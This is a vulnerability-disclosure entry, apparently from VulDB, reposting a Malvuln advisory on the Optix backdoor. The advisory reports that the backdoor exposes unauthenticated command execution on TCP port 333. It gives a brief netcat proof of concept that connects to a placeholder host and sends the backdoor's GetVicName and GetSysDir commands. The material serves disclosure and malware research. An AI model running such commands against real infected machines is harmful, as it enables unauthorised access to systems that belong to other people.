提出 #23620: Backdoor.Win32.Optix.03.b / Unauthenticated Remote Command Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/4cf1f1d740d7acea4d3836228980ebcb.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Optix.03.b
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 333. Third-party attackers who can reach the system can execute commands made available by the malware.
Type: PE32
MD5: 4cf1f1d740d7acea4d3836228980ebcb
Vuln ID: MVID-2021-0387
Disclosure: 11/04/2021

Exploit/PoC:
nc64.exe x.x.x.x 333
GetVicName;
GetVicName;paltalk

GetSysDir;
TheSysDir;
;C:\WINDOWS\system32\

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• ソース: ⚠️ https://malvuln.com/advisory/4cf1f1d740d7acea4d3836228980ebcb.txt
• ユーザー: malvuln (UID 14984)
• 送信: 2021年11月05日 02:31 (5 年 ago)
• モデレーション: 2021年11月05日 11:42 (9 hours later)
• ステータス: 承諾済み
• VulDBエントリ: 186117 [Backdoor.Win32.Optix.03.b Service Port 333 特権昇格]
• ポイント: 20